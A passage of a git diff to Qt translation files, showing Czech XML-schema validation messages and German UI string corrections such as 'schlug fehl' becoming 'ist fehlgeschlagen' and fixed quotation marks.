<translation>Obsah způsobilého názvu (&apos;QName&apos;) není obsažen ve výčtové stránce.</translation>
</message>
<message>
- <location line="+18"/>
<source>QName content does not match pattern facet.</source>
<translation>Obsah způsobilého názvu (&apos;QName&apos;) neodpovídá stránce vzoru pro hledání.</translation>
</message>
<message>
- <location line="+36"/>
<source>Notation content is not listed in the enumeration facet.</source>
<translation>Obsah zápisu není obsažen ve výčtové stránce.</translation>
</message>
<message>
- <location line="+19"/>
<source>List content does not match length facet.</source>
<translation>Obsah seznamu neodpovídá stránce délky.</translation>
</message>
<message>
- <location line="+7"/>
<source>List content does not match minLength facet.</source>
<translation>Obsah seznamu neodpovídá stránce &apos;minLength&apos;.</translation>
</message>
<message>
- <location line="+7"/>
<source>List content does not match maxLength facet.</source>
<translation>Obsah seznamu neodpovídá stránce &apos;maxLength&apos;.</translation>
</message>
<message>
- <location line="+90"/>
<source>List content is not listed in the enumeration facet.</source>
<translation>Obsah seznamu není obsažen ve výčtové stránce.</translation>
</message>
<message>
- <location line="+18"/>
<source>List content does not match pattern facet.</source>
<translation>Obsah seznamu neodpovídá stránce vzoru pro hledání.</translation>
</message>
<message>
- <location line="+39"/>
<source>Union content is not listed in the enumeration facet.</source>
<translation>Obsah sjednocení není obsažen ve výčtové stránce.</translation>
</message>
<message>
- <location line="+18"/>
<source>Union content does not match pattern facet.</source>
<translation>Obsah sjednocení neodpovídá stránce vzoru pro hledání.</translation>
</message>
<message>
- <location line="+15"/>
<source>Data of type %1 are not allowed to be empty.</source>
<translation>Data typu %1 nemohou být prázdná.</translation>
</message>
<message>
- <location filename="../src/xmlpatterns/schema/qxsdvalidatinginstancereader.cpp" line="+160"/>
<source>Element %1 is missing child element.</source>
<translation>U prvku %1 chybí podprvek.</translation>
</message>
<message>
- <location line="+16"/>
<source>There is one IDREF value with no corresponding ID: %1.</source>
<translation>Existuje hodnota IDREF, pro kterou neexistuje příslušné ID: %1.</translation>
</message>
<message>
- <location line="+27"/>
<source>Loaded schema file is invalid.</source>
<translation>Nahraný soubor se schématem je neplatný.</translation>
</message>
<message>
- <location line="+16"/>
<source>%1 contains invalid data.</source>
<translation>%1 obsahuje neplatná data.</translation>
</message>
<message>
- <location line="+13"/>
<source>xsi:schemaLocation namespace %1 has already appeared earlier in the instance document.</source>
<translation>Jmenný prostor xsi:schemaLocation %1 byl již dříve v případovém dokumentu stanoven.</translation>
</message>
<message>
- <location line="+22"/>
<source>xsi:noNamespaceSchemaLocation cannot appear after the first no-namespace element or attribute.</source>
<translation>xsi:noNamespaceSchemaLocation se nemůže objevit po prvním prvku nebo vlastnosti bez jmenného prostoru.</translation>
</message>
<message>
- <location line="+18"/>
<source>No schema defined for validation.</source>
<translation>Pro schválení není stanoveno žádné schéma.</translation>
</message>
<message>
- <location line="+10"/>
<source>No definition for element %1 available.</source>
<translation>Pro prvek %1 není dostupné žádné vymezení.</translation>
</message>
<message>
- <location line="+18"/>
- <location line="+49"/>
- <location line="+142"/>
<source>Specified type %1 is not known to the schema.</source>
<translation>Zadaný typ %1 není ve schématu stanoven.</translation>
</message>
<message>
- <location line="-176"/>
<source>Element %1 is not defined in this scope.</source>
<translation>Prvek %1 není v této oblasti stanoven.</translation>
</message>
<message>
- <location line="+43"/>
<source>Declaration for element %1 does not exist.</source>
<translation>Pro prvek %1 není dostupné žádné prohlášení.</translation>
</message>
<message>
- <location line="+12"/>
<source>Element %1 contains invalid content.</source>
<translation>Prvek %1 obsahuje neplatný obsah.</translation>
</message>
<message>
- <location line="+73"/>
<source>Element %1 is declared as abstract.</source>
<translation>Prvek %1 je prohlášen jako abstraktní.</translation>
</message>
<message>
- <location line="+7"/>
<source>Element %1 is not nillable.</source>
<translation>Prvek %1 nemá zadánu vlastnost &apos;nillable&apos;.</translation>
</message>
<message>
- <location line="+8"/>
<source>Attribute %1 contains invalid data: %2</source>
<translation>Vlastnost %1 obsahuje neplatná data: %2</translation>
</message>
<message>
- <location line="+8"/>
<source>Element contains content although it is nillable.</source>
<translation>Prvek má obsah, ačkoli je &apos;nillable&apos;.</translation>
</message>
<message>
- <location line="+6"/>
- <source>Fixed value constrained not allowed if element is nillable.</source>
+ <source>Fixed value constraint not allowed if element is nillable.</source>
<translation>Pevné omezení hodnoty není dovoleno, pokud je prvek &apos;nillable&apos;.</translation>
</message>
<message>
- <location line="+32"/>
+ <source>Element %1 cannot contain other elements, as it has a fixed content.</source>
+ <translation>Prvek %1 nesmí obsahovat žádné jiné prvky, protože má pevný obsah.</translation>
+ </message>
+ <message>
+ <source>Fixed value constrained not allowed if element is nillable.</source>
+ <translation type="obsolete">Pevné omezení hodnoty není dovoleno, pokud je prvek &apos;nillable&apos;.</translation>
+ </message>
+ <message>
<source>Specified type %1 is not validly substitutable with element type %2.</source>
<translation>Zadaný typ %1 není platně nahraditelný typem prvku %2.</translation>
</message>
<message>
- <location line="+23"/>
<source>Complex type %1 is not allowed to be abstract.</source>
<translation>Složitý typ %1 nemůže být abstraktní.</translation>
</message>
<message>
- <location line="+21"/>
<source>Element %1 contains not allowed attributes.</source>
<translation>Prvek %1 obsahuje nepřípustné vlastnosti.</translation>
</message>
<message>
- <location line="+6"/>
- <location line="+97"/>
<source>Element %1 contains not allowed child element.</source>
<translation>Prvek %1 obsahuje nepřípustný podprvek.</translation>
</message>
<message>
- <location line="-76"/>
- <location line="+93"/>
<source>Content of element %1 does not match its type definition: %2.</source>
<translation>Obsah prvku %1 neodpovídá vymezení svého typu: %2.</translation>
</message>
<message>
- <location line="-85"/>
- <location line="+92"/>
- <location line="+41"/>
<source>Content of element %1 does not match defined value constraint.</source>
<translation>Obsah prvku %1 neodpovídá stanovenému omezení hodnoty.</translation>
</message>
<message>
- <location line="-73"/>
<source>Element %1 contains not allowed child content.</source>
<translation>Prvek %1 obsahuje nepřípustný podobsah.</translation>
</message>
<message>
- <location line="+41"/>
<source>Element %1 contains not allowed text content.</source>
<translation>Prvek %1 obsahuje nepřípustný textový obsah.</translation>
</message>
<message>
- <location line="+18"/>
<source>Element %1 can not contain other elements, as it has a fixed content.</source>
- <translation>Prvek %1 nesmí obsahovat žádné podprvky, protože má pevný obsah.</translation>
+ <translation type="obsolete">Prvek %1 nesmí obsahovat žádné podprvky, protože má pevný obsah.</translation>
</message>
<message>
- <location line="+43"/>
<source>Element %1 is missing required attribute %2.</source>
<translation>U prvkuk %1 chybí vyžadovaná vlastnost %2.</translation>
</message>
<message>
- <location line="+29"/>
<source>Attribute %1 does not match the attribute wildcard.</source>
<translation>Vlastnost %1 neodpovídá zástupnému symbolu (vzoru hledání) vlastnosti.</translation>
</message>
<message>
- <location line="+9"/>
<source>Declaration for attribute %1 does not exist.</source>
<translation>Pro vlastnost %1 není dostupné žádné prohlášení.</translation>
</message>
<message>
- <location line="+6"/>
<source>Element %1 contains two attributes of type %2.</source>
<translation>Prvek %1 obsahuje dvě vlastnosti typu %2.</translation>
</message>
<message>
- <location line="+11"/>
<source>Attribute %1 contains invalid content.</source>
<translation>Vlastnost %1 obsahuje neplatný obsah.</translation>
</message>
<message>
- <location line="+7"/>
<source>Element %1 contains unknown attribute %2.</source>
<translation>Prvek %1 obsahuje neznámou vlastnost %2.</translation>
</message>
<message>
- <location line="+40"/>
- <location line="+46"/>
<source>Content of attribute %1 does not match its type definition: %2.</source>
<translation>Obsah vlastnosti %1 neodpovídá vymezení svého typu: %2.</translation>
</message>
<message>
- <location line="-38"/>
- <location line="+46"/>
<source>Content of attribute %1 does not match defined value constraint.</source>
<translation>Obsah vlastnosti %1 neodpovídá stanovenému omezení hodnoty.</translation>
</message>
<message>
- <location line="+88"/>
<source>Non-unique value found for constraint %1.</source>
<translation>Pro omezení %1 byla nalezena ne jednoznačně stanovená hodnota.</translation>
</message>
<message>
- <location line="+20"/>
<source>Key constraint %1 contains absent fields.</source>
<translation>Omezení klíče %1 obsahuje nepřítomná pole.</translation>
</message>
<message>
- <location line="+18"/>
<source>Key constraint %1 contains references nillable element %2.</source>
<translation>Omezení klíče %1 obsahuje odkazy na prvek %2, který je &apos;nillable&apos;.</translation>
</message>
<message>
- <location line="+40"/>
<source>No referenced value found for key reference %1.</source>
<translation>Odkazovanou hodnotu odkazu na klíč %1 se nepodařilo najít.</translation>
</message>
<message>
- <location line="+64"/>
<source>More than one value found for field %1.</source>
<translation>Pro pole %1 bylo nalezeno více hodnot.</translation>
</message>
<message>
- <location line="+20"/>
<source>Field %1 has no simple type.</source>
<translation>Pole %1 nemá žádný jednoduchý typ.</translation>
</message>
<message>
- <location line="+73"/>
<source>ID value &apos;%1&apos; is not unique.</source>
<translation>Hodnota ID %1 není jednoznačná.</translation>
</message>
<message>
- <location line="+11"/>
<source>&apos;%1&apos; attribute contains invalid QName content: %2.</source>
<translation>Vlastnost %1 obsahuje neplatný způsobilý název: %2.</translation>
</message>
diff --git a/translations/qt_de.ts b/translations/qt_de.ts
index cd7d782..f56978f 100644
--- a/translations/qt_de.ts
+++ b/translations/qt_de.ts
@@ -128,7 +128,7 @@ Bitte überprüfen Sie Ihre GStreamer-Installation und stellen Sie sicher, dass
</message>
<message>
<source>Plugin codec installation failed for codec: %0</source>
- <translation>Die Installation des Codec-Plugins schlug fehl für: %0</translation>
+ <translation>Die Installation des Codec-Plugins ist fehlgeschlagen für: %0</translation>
</message>
<message>
<source>A required codec is missing. You need to install the following codec(s) to play this content: %0</source>
@@ -314,7 +314,7 @@ Bitte überprüfen Sie Ihre GStreamer-Installation und stellen Sie sicher, dass
</message>
<message>
<source>Loading clip failed</source>
- <translation>Das Laden des Clips schlug fehl</translation>
+ <translation>Das Laden des Clips ist fehlgeschlagen</translation>
</message>
<message>
<source>Playback complete</source>
@@ -1196,7 +1196,7 @@ nach
<message>
<source>%1: ftok failed</source>
<comment>QSystemSemaphore</comment>
- <translation>%1: ftok-Aufruf schlug fehl</translation>
+ <translation>%1: ftok-Aufruf ist fehlgeschlagen</translation>
</message>
<message>
<source>%1: already exists</source>
@@ -1288,11 +1288,11 @@ nach
<name>QDeclarativeAbstractAnimation</name>
<message>
<source>Cannot animate non-existent property &quot;%1&quot;</source>
- <translation>Die Eigenschaft &apos;%1&quot; existiert nicht und kann daher nicht animiert werden</translation>
+ <translation>Die Eigenschaft &quot;%1&quot; existiert nicht und kann daher nicht animiert werden</translation>
</message>
<message>
<source>Cannot animate read-only property &quot;%1&quot;</source>
- <translation>Die Eigenschaft &apos;%1&quot; ist schreibgeschützt und kann daher nicht animiert werden</translation>
+ <translation>Die Eigenschaft &quot;%1&quot; ist schreibgeschützt und kann daher nicht animiert werden</translation>
</message>
<message>
<source>Animation is an abstract class</source>
@@ -1350,7 +1350,7 @@ nach
</message>
<message>
<source>Baseline anchor cannot be used in conjunction with top, bottom, or vcenter anchors.</source>
- <translation>Ein Baseline-Anker darf nicht mit zusammen mit weiteren Ankerangaben für oben, unten und vertikal zentriert verwendet werden.</translation>
+ <translation>Ein Baseline-Anker darf nicht zusammen mit weiteren Ankerangaben für oben, unten und vertikal zentriert verwendet werden.</translation>
</message>
<message>
<source>Cannot anchor a vertical edge to a horizontal edge.</source>
@@ -1375,14 +1375,14 @@ nach
<name>QDeclarativeBinding</name>
<message>
<source>Binding loop detected for property &quot;%1&quot;</source>
- <translation>Bei der für die Eigenschaft &quot;%1&quot; angegebenen Bindung wurde eine Endlosschleife festgestellt</translation>
+ <translation>Bei der für die Eigenschaft &quot;%1&quot; angegebenen Bindung wurde eine Endlosschleife festgestellt</translation>
</message>
</context>
<context>
<name>QDeclarativeCompiledBindings</name>
<message>
<source>Binding loop detected for property &quot;%1&quot;</source>
- <translation>Bei der für die Eigenschaft &quot;%1&quot; angegebenen Bindung wurde eine Endlosschleife festgestellt</translation>
+ <translation>Bei der für die Eigenschaft &quot;%1&quot; angegebenen Bindung wurde eine Endlosschleife festgestellt</translation>
</message>
</context>
<context>
@@ -1393,7 +1393,7 @@ nach
</message>
<message>
<source>Invalid property assignment: unknown enumeration</source>
- <translation>Ungültige Zuweisung bei Eigenschaft: Ungültiger Aufzählungswert</translation>
+ <translation>Ungültige Zuweisung bei Eigenschaft: Unbekannter Aufzählungswert</translation>
</message>
<message>
<source>Invalid property assignment: string expected</source>
@@ -1449,7 +1449,7 @@ nach
</message>
<message>
<source>Invalid property assignment: boolean expected</source>
- <translation>Ungültige Zuweisung bei Eigenschaft: Es wird ein Boolescher Wert erwartet</translation>
+ <translation>Ungültige Zuweisung bei Eigenschaft: Es wird ein boolescher Wert erwartet</translation>
</message>
<message>
<source>Invalid property assignment: 3D vector expected</source>
@@ -1465,7 +1465,7 @@ nach
</message>
<message>
<source>Component elements may not contain properties other than id</source>
- <translation>Komponenten dürfen außer id keine weiteren Eigenschaften enthalten.</translation>
+ <translation>Komponenten dürfen außer id keine weiteren Eigenschaften enthalten</translation>
</message>
<message>
<source>Invalid component id specification</source>
@@ -1525,7 +1525,7 @@ nach
</message>
<message>
<source>Incorrectly specified signal assignment</source>
- <translation></translation>
+ <translation>Angegebene Signalzuweisung ist nicht korrekt</translation>
</message>
<message>
<source>Invalid property assignment: number expected</source>
@@ -1573,7 +1573,7 @@ nach
</message>
<message>
<source>Unexpected object assignment</source>
- <translation>Zuweisung des Objekts nicht zulässig</translation>
+ <translation>Unerwartete Zuweisung des Objekts</translation>
</message>
<message>
<source>Cannot assign object to list</source>
@@ -1669,7 +1669,7 @@ nach
</message>
<message>
<source>IDs must start with a letter or underscore</source>
- <translation>Id-Werte müssen mit einem Buchstaben oder dem Zeichen &apos;_&apos; beginnen</translation>
+ <translation>Id-Werte müssen mit einem Buchstaben oder Unterstrich beginnen</translation>
</message>
<message>
<source>IDs must contain only letters, numbers, and underscores</source>
@@ -1726,7 +1726,7 @@ nach
<name>QDeclarativeConnections</name>
<message>
<source>Cannot assign to non-existent property &quot;%1&quot;</source>
- <translation>Es kann keine Zuweisung erfolgen, da keine Eigenschaft des Namens &apos;%1&quot; existiert</translation>
+ <translation>Es kann keine Zuweisung erfolgen, da keine Eigenschaft des Namens &quot;%1&quot; existiert</translation>
</message>
<message>
<source>Connections: nested objects not allowed</source>
@@ -1757,7 +1757,7 @@ nach
</message>
<message>
<source>SQL transaction failed</source>
- <translation>Die SQL-Transaktion schlug fehl</translation>
+ <translation>Die SQL-Transaktion ist fehlgeschlagen</translation>
</message>
<message>
<source>transaction: missing callback</source>
@@ -1787,7 +1787,7 @@ nach
</message>
<message>
<source>plugin cannot be loaded for module &quot;%1&quot;: %2</source>
- <translation>Das Plugin des Moduls &quot;%1&quot; konnte nicht geladen werden: %2</translation>
+ <translation>Das Plugin des Moduls &quot;%1&quot; kann nicht geladen werden: %2</translation>
</message>
<message>
<source>module &quot;%1&quot; plugin &quot;%2&quot; not found</source>
@@ -1819,7 +1819,7 @@ nach
</message>
<message>
<source>local directory</source>
- <translation>Lokales Verzeichnis&apos;</translation>
+ <translation>Lokales Verzeichnis</translation>
</message>
<message>
<source>is ambiguous. Found in %1 and in %2</source>
@@ -1947,8 +1947,8 @@ nach
<translation>Zeichenkette am Zeilenende nicht abgeschlossen</translation>
</message>
<message>
- <source>Illegal escape squence</source>
- <translation>Ungültiges Escape-Sequenz</translation>
+ <source>Illegal escape sequence</source>
+ <translation>Ungültige Escape-Sequenz</translation>
</message>
<message>
<source>Illegal unicode escape sequence</source>
@@ -1976,7 +1976,7 @@ nach
</message>
<message>
<source>Unterminated regular expression backslash sequence</source>
- <translation>Regulärer Ausdruck nicht abgeschlossen</translation>
+ <translation>Backslash-Sequenz in regulärem Ausdruck nicht abgeschlossen</translation>
</message>
<message>
<source>Unterminated regular expression class</source>
@@ -2058,7 +2058,7 @@ nach
<name>QDeclarativePixmap</name>
<message>
<source>Error decoding: %1: %2</source>
- <translation>Fehler beim Decodieren: %1: %2</translation>
+ <translation>Fehler beim Dekodieren: %1: %2</translation>
</message>
<message>
<source>Failed to get image from provider: %1</source>
@@ -2107,7 +2107,7 @@ nach
</message>
<message>
<source>Cannot assign to read-only property &quot;%1&quot;</source>
- <translation>Die Eigenschaft &apos;%1&quot; ist schreibgeschützt und kann daher nicht zugewiesen werden</translation>
+ <translation>Die Eigenschaft &quot;%1&quot; ist schreibgeschützt und kann daher nicht zugewiesen werden</translation>
</message>
</context>
<context>
@@ -2118,7 +2118,7 @@ nach
</message>
<message>
<source>Could not instantiate cursor delegate</source>
- <translation>Cursor-Delegate konnte angelegt werden</translation>
+ <translation>Cursor-Delegate konnte nicht instanziiert werden</translation>
</message>
</context>
<context>
@@ -2163,7 +2163,7 @@ nach
</message>
<message>
<source>Cannot assign value %1 to property %2</source>
- <translation>Der Wert &apos;%1&apos; kann nicht der Eigenschaft %2 zugewiesen werden</translation>
+ <translation>Der Wert &apos;%1&apos; kann der Eigenschaft %2 nicht zugewiesen werden</translation>
</message>
<message>
<source>Cannot assign object type %1 with no default method</source>
@@ -2979,13 +2979,13 @@ Möchten Sie die Datei trotzdem löschen?</translation>
<message>
<source>Connecting to host failed:
%1</source>
- <translation>Verbindung mit Rechner schlug fehl:
+ <translation>Verbindung mit Rechner ist fehlgeschlagen:
%1</translation>
</message>
<message>
<source>Login failed:
%1</source>
- <translation>Anmeldung schlug fehl:
+ <translation>Anmeldung ist fehlgeschlagen:
%1</translation>
</message>
<message>
@@ -2997,37 +2997,37 @@ Möchten Sie die Datei trotzdem löschen?</translation>
<message>
<source>Changing directory failed:
%1</source>
- <translation>Ändern des Verzeichnisses schlug fehl:
+ <translation>Ändern des Verzeichnisses ist fehlgeschlagen:
%1</translation>
</message>
<message>
<source>Downloading file failed:
%1</source>
- <translation>Herunterladen der Datei schlug fehl:
+ <translation>Herunterladen der Datei ist fehlgeschlagen:
%1</translation>
</message>
<message>
<source>Uploading file failed:
%1</source>
- <translation>Hochladen der Datei schlug fehl:
+ <translation>Hochladen der Datei ist fehlgeschlagen:
%1</translation>
</message>
<message>
<source>Removing file failed:
%1</source>
- <translation>Löschen der Datei schlug fehl:
+ <translation>Löschen der Datei ist fehlgeschlagen:
%1</translation>
</message>
<message>
<source>Creating directory failed:
%1</source>
- <translation>Erstellen des Verzeichnisses schlug fehl:
+ <translation>Erstellen des Verzeichnisses ist fehlgeschlagen:
%1</translation>
</message>
<message>
<source>Removing directory failed:
%1</source>
- <translation>Löschen des Verzeichnisses schlug fehl:
+ <translation>Löschen des Verzeichnisses ist fehlgeschlagen:
%1</translation>
</message>
<message>
@@ -3282,7 +3282,7 @@ Möchten Sie die Datei trotzdem löschen?</translation>
</message>
<message>
<source>Could not allocate statement</source>
- <translation>Die Allokation des Befehls schlug fehl</translation>
+ <translation>Die Allokation des Befehls ist fehlgeschlagen</translation>
</message>
<message>
<source>Could not prepare statement</source>
@@ -3916,7 +3916,7 @@ Möchten Sie die Datei trotzdem löschen?</translation>
</message>
<message>
<source>Logging in to %1 failed: authentication required</source>
- <translation>Die Anmeldung bei %1 schlug fehl: Es ist eine Authentifizierung erforderlich</translation>
+ <translation>Die Anmeldung bei %1 ist fehlgeschlagen: Es ist eine Authentifizierung erforderlich</translation>
</message>
<message>
<source>Error while downloading %1: %2</source>
@@ -3957,7 +3957,7 @@ Möchten Sie die Datei trotzdem löschen?</translation>
</message>
<message>
<source>Temporary network failure.</source>
- <translation>Das Netzwerk ist zur Zeit ausgefallen.</translation>
+ <translation>Das Netzwerk ist zurzeit ausgefallen.</translation>
</message>
</context>
<context>
@@ -3982,7 +3982,7 @@ Möchten Sie die Datei trotzdem löschen?</translation>
</message>
<message>
<source>The session was aborted by the user or system.</source>
- <translation>Die Verbindung wurde vom Nutzer oder vom Betriebssystem unterbrochen.</translation>
+ <translation>Die Verbindung wurde vom Benutzer oder vom Betriebssystem unterbrochen.</translation>
</message>
<message>
<source>The requested operation is not supported by the system.</source>
@@ -4002,7 +4002,7 @@ Möchten Sie die Datei trotzdem löschen?</translation>
</message>
<message>
<source>Session aborted by user or system</source>
- <translation>Die Verbindung wurde vom Nutzer oder vom Betriebssystem unterbrochen</translation>
+ <translation>Die Verbindung wurde vom Benutzer oder vom Betriebssystem unterbrochen</translation>
</message>
<message>
<source>Unidentified Error</source>
@@ -4049,7 +4049,7 @@ Möchten Sie die Datei trotzdem löschen?</translation>
</message>
<message>
<source>Unable to alloc statement</source>
- <translation>Die Allokation des Befehls schlug fehl</translation>
+ <translation>Die Allokation des Befehls ist fehlgeschlagen</translation>
</message>
<message>
<source>Unable to prepare statement</source>
@@ -4131,7 +4131,7 @@ Möchten Sie die Datei trotzdem löschen?</translation>
</message>
<message>
<source>Unable to fetch previous</source>
- <translation>Der vorangegangene Datensatz kann nicht abgeholt werden</translation>
+ <translation>Der vorherige Datensatz konnte nicht abgeholt werden</translation>
</message>
</context>
<context>
@@ -4146,7 +4146,7 @@ Möchten Sie die Datei trotzdem löschen?</translation>
</message>
<message>
<source>PulseAudio Sound Server</source>
- <translation>PulseAudio Sound Server</translation>
+ <translation>PulseAudio-Sound-Server</translation>
</message>
</context>
<context>
@@ -4180,7 +4180,7 @@ Möchten Sie die Datei trotzdem löschen?</translation>
</message>
<message>
<source>Unable to subscribe</source>
- <translation>Die Registrierung schlug fehl</translation>
+ <translation>Die Registrierung ist fehlgeschlagen</translation>
</message>
<message>
<source>Unable to unsubscribe</source>
@@ -4881,11 +4881,11 @@ Bitte wählen Sie einen anderen Dateinamen.</translation>
</message>
<message>
<source>Error reading from process</source>
- <translation>Das Lesen vom Prozess schlug fehl</translation>
+ <translation>Das Lesen vom Prozess ist fehlgeschlagen</translation>
</message>
<message>
<source>Error writing to process</source>
- <translation>Das Schreiben zum Prozess schlug fehl</translation>
+ <translation>Das Schreiben zum Prozess ist fehlgeschlagen</translation>
</message>
<message>
<source>Process crashed</source>
@@ -4897,7 +4897,7 @@ Bitte wählen Sie einen anderen Dateinamen.</translation>
</message>
<message>
<source>Process failed to start: %1</source>
- <translation>Das Starten des Prozesses schlug fehl: %1</translation>
+ <translation>Das Starten des Prozesses ist fehlgeschlagen: %1</translation>
</message>
</context>
<context>
@@ -5430,7 +5430,7 @@ Bitte wählen Sie einen anderen Dateinamen.</translation>
</message>
<message>
<source>%1: ftok failed</source>
- <translation>%1: ftok-Aufruf schlug fehl</translation>
+ <translation>%1: ftok-Aufruf ist fehlgeschlagen</translation>
</message>
<message>
<source>%1: unable to make key</source>
@@ -5462,7 +5462,7 @@ Bitte wählen Sie einen anderen Dateinamen.</translation>
</message>
<message>
<source>%1: size query failed</source>
- <translation>%1: Die Abfrage der Größe schlug fehl</translation>
+ <translation>%1: Die Abfrage der Größe ist fehlgeschlagen</translation>
</message>
<message>
<source>%1: unable to set key on lock</source>
@@ -5648,7 +5648,7 @@ Bitte wählen Sie einen anderen Dateinamen.</translation>
<message>
<source>Toggle Media Play/Pause</source>
<extracomment>Media player button to toggle between playing and paused</extracomment>
- <translation>Pause</translation>
+ <translation>Wiedergabe/Pause</translation>
</message>
<message>
<source>Favorites</source>
@@ -6279,51 +6279,51 @@ Bitte wählen Sie einen anderen Dateinamen.</translation>
</message>
<message>
<source>Previous Candidate</source>
- <translation>Vorangegangener Vorschlag</translation>
+ <translation>Vorheriger Vorschlag</translation>
</message>
<message>
<source>Hangul</source>
- <translation>Hangul</translation>
+ <translation>Hangeul</translation>
</message>
<message>
<source>Hangul Start</source>
- <translation>Hangul Anfang</translation>
+ <translation>Hangeul Anfang</translation>
</message>
<message>
<source>Hangul End</source>
- <translation>Hangul Ende</translation>
+ <translation>Hangeul Ende</translation>
</message>
<message>
<source>Hangul Hanja</source>
- <translation>Hangul Hanja</translation>
+ <translation>Hangeul-Hanja</translation>
</message>
<message>
<source>Hangul Jamo</source>
- <translation>Hangul Jamo</translation>
+ <translation>Hangeul-Jamo</translation>
</message>
<message>
<source>Hangul Romaja</source>
- <translation>Hangul Romaja</translation>
+ <translation>Hangeul-Romaja</translation>
</message>
<message>
<source>Hangul Jeonja</source>
- <translation>Hangul Jeonja</translation>
+ <translation>Hangeul-Jeonja</translation>
</message>
<message>
<source>Hangul Banja</source>
- <translation>Hangul Banja</translation>
+ <translation>Hangeul-Banja</translation>
</message>
<message>
<source>Hangul PreHanja</source>
- <translation>Hangul PreHanja</translation>
+ <translation>Hangeul-PreHanja</translation>
</message>
<message>
<source>Hangul PostHanja</source>
- <translation>Hangul PostHanja</translation>
+ <translation>Hangeul-PostHanja</translation>
</message>
<message>
<source>Hangul Special</source>
- <translation>Hangul Special</translation>
+ <translation>Hangeul Special</translation>
</message>
<message>
<source>Ctrl</source>
@@ -6397,15 +6397,15 @@ Bitte wählen Sie einen anderen Dateinamen.</translation>
</message>
<message>
<source>Proxy authentication failed</source>
- <translation>Die Authentifizierung beim Proxy-Server schlug fehl</translation>
+ <translation>Die Authentifizierung beim Proxy-Server ist fehlgeschlagen</translation>
</message>
<message>
<source>Proxy authentication failed: %1</source>
- <translation>Die Authentifizierung beim Proxy-Server schlug fehl: %1</translation>
+ <translation>Die Authentifizierung beim Proxy-Server ist fehlgeschlagen: %1</translation>
</message>
<message>
<source>SOCKS version 5 protocol error</source>
- <translation>Protokoll-Fehler (SOCKS version 5)</translation>
+ <translation>Protokoll-Fehler (SOCKS Version 5)</translation>
</message>
<message>
<source>General SOCKSv5 server failure</source>
@@ -7428,27 +7428,27 @@ Bitte wählen Sie einen anderen Dateinamen.</translation>
</message>
<message>
<source>Move the cursor to the next character</source>
- <translation>Positionsmarke auf folgendes Zeichen setzen</translation>
+ <translation>Positionsmarke auf nächstes Zeichen setzen</translation>
</message>
<message>
<source>Move the cursor to the previous character</source>
- <translation>Positionsmarke auf vorangehendes Zeichen setzen</translation>
+ <translation>Positionsmarke auf vorheriges Zeichen setzen</translation>
</message>
<message>
<source>Move the cursor to the next word</source>
- <translation>Positionsmarke auf folgendes Wort setzen</translation>
+ <translation>Positionsmarke auf nächstes Wort setzen</translation>
</message>
<message>
<source>Move the cursor to the previous word</source>
- <translation>Positionsmarke auf vorangehendes Wort setzen</translation>
+ <translation>Positionsmarke auf vorherige Wort setzen</translation>
</message>
<message>
<source>Move the cursor to the next line</source>
- <translation>Positionsmarke auf folgende Zeile setzen</translation>
+ <translation>Positionsmarke auf nächste Zeile setzen</translation>
</message>
<message>
<source>Move the cursor to the previous line</source>
- <translation>Positionsmarke auf vorangehende Zeile setzen</translation>
+ <translation>Positionsmarke auf vorherige Zeile setzen</translation>
</message>
<message>
<source>Move the cursor to the start of the line</source>
@@ -7468,11 +7468,11 @@ Bitte wählen Sie einen anderen Dateinamen.</translation>
</message>
<message>
<source>Move the cursor to the start of the document</source>
- <translation>Positionsmarke auf Anfang des Dokumentes setzen</translation>
+ <translation>Positionsmarke auf Anfang des Dokuments setzen</translation>
</message>
<message>
<source>Move the cursor to the end of the document</source>
- <translation>Positionsmarke auf Ende des Dokumentes setzen</translation>
+ <translation>Positionsmarke auf Ende des Dokuments setzen</translation>
</message>
<message>
<source>Select all</source>
@@ -7799,7 +7799,7 @@ Bitte wählen Sie einen anderen Dateinamen.</translation>
</message>
<message>
<source>encoding declaration or standalone declaration expected while reading the XML declaration</source>
- <translation>fehlende Encoding-Deklaration oder Standalone-Deklaration beim Parsen der XML-Deklaration</translation>
+ <translation>fehlende Kodierung-Deklaration oder Standalone-Deklaration beim Parsen der XML-Deklaration</translation>
</message>
<message>
<source>standalone declaration expected while reading the XML declaration</source>
@@ -7818,7 +7818,7 @@ Bitte wählen Sie einen anderen Dateinamen.</translation>
</message>
<message>
<source>Unknown location</source>
- <translation>unbekannt</translation>
+ <translation>Unbekannter Ort</translation>
</message>
<message>
<source>Error %1 in %2, at line %3, column %4: %5</source>
@@ -7833,7 +7833,7 @@ Bitte wählen Sie einen anderen Dateinamen.</translation>
<name>QXmlStream</name>
<message>
<source>Extra content at end of document.</source>
- <translation>Überzähliger Inhalt nach Ende des Dokumentes.</translation>
+ <translation>Überzähliger Inhalt nach Ende des Dokuments.</translation>
</message>
<message>
<source>Invalid entity value.</source>
@@ -7869,11 +7869,11 @@ Bitte wählen Sie einen anderen Dateinamen.</translation>
</message>
<message>
<source>%1 is an invalid encoding name.</source>
- <translation>%1 ist kein gültiger Name für das Encoding.</translation>
+ <translation>%1 ist kein gültiger Name für die Kodierung.</translation>
</message>
<message>
<source>Encoding %1 is unsupported</source>
- <translation>Das Encoding %1 wird nicht unterstützt</translation>
+ <translation>Die Kodierung %1 wird nicht unterstützt</translation>
</message>
<message>
<source>Standalone accepts only yes or no.</source>
@@ -7965,7 +7965,7 @@ Bitte wählen Sie einen anderen Dateinamen.</translation>
</message>
<message>
<source>The standalone pseudo attribute must appear after the encoding.</source>
- <translation>Das Standalone-Pseudoattribut muss dem Encoding unmittelbar folgen.</translation>
+ <translation>Das Standalone-Pseudoattribut muss der Kodierung unmittelbar folgen.</translation>
</message>
<message>
<source>%1 is an invalid PUBLIC identifier.</source>
@@ -7988,7 +7988,7 @@ Bitte wählen Sie einen anderen Dateinamen.</translation>
</message>
<message>
<source>Effective Boolean Value cannot be calculated for a sequence containing two or more atomic values.</source>
- <translation>Der effektive Boolesche Wert einer Sequenz aus zwei oder mehreren atomaren Werten kann nicht berechnet werden.</translation>
+ <translation>Der effektive boolesche Wert einer Sequenz aus zwei oder mehreren atomaren Werten kann nicht berechnet werden.</translation>
</message>
<message>
<source>The data of a processing instruction cannot contain the string %1</source>
@@ -8000,7 +8000,7 @@ Bitte wählen Sie einen anderen Dateinamen.</translation>
</message>
<message>
<source>%1 is not a valid XML 1.0 character.</source>
- <translation>%1 ist kein gültiges XML 1.0 Zeichen.</translation>
+ <translation>%1 ist kein gültiges XML-1.0-Zeichen.</translation>
</message>
<message>
<source>%1 was called.</source>
@@ -8220,7 +8220,7 @@ Bitte wählen Sie einen anderen Dateinamen.</translation>
</message>
<message>
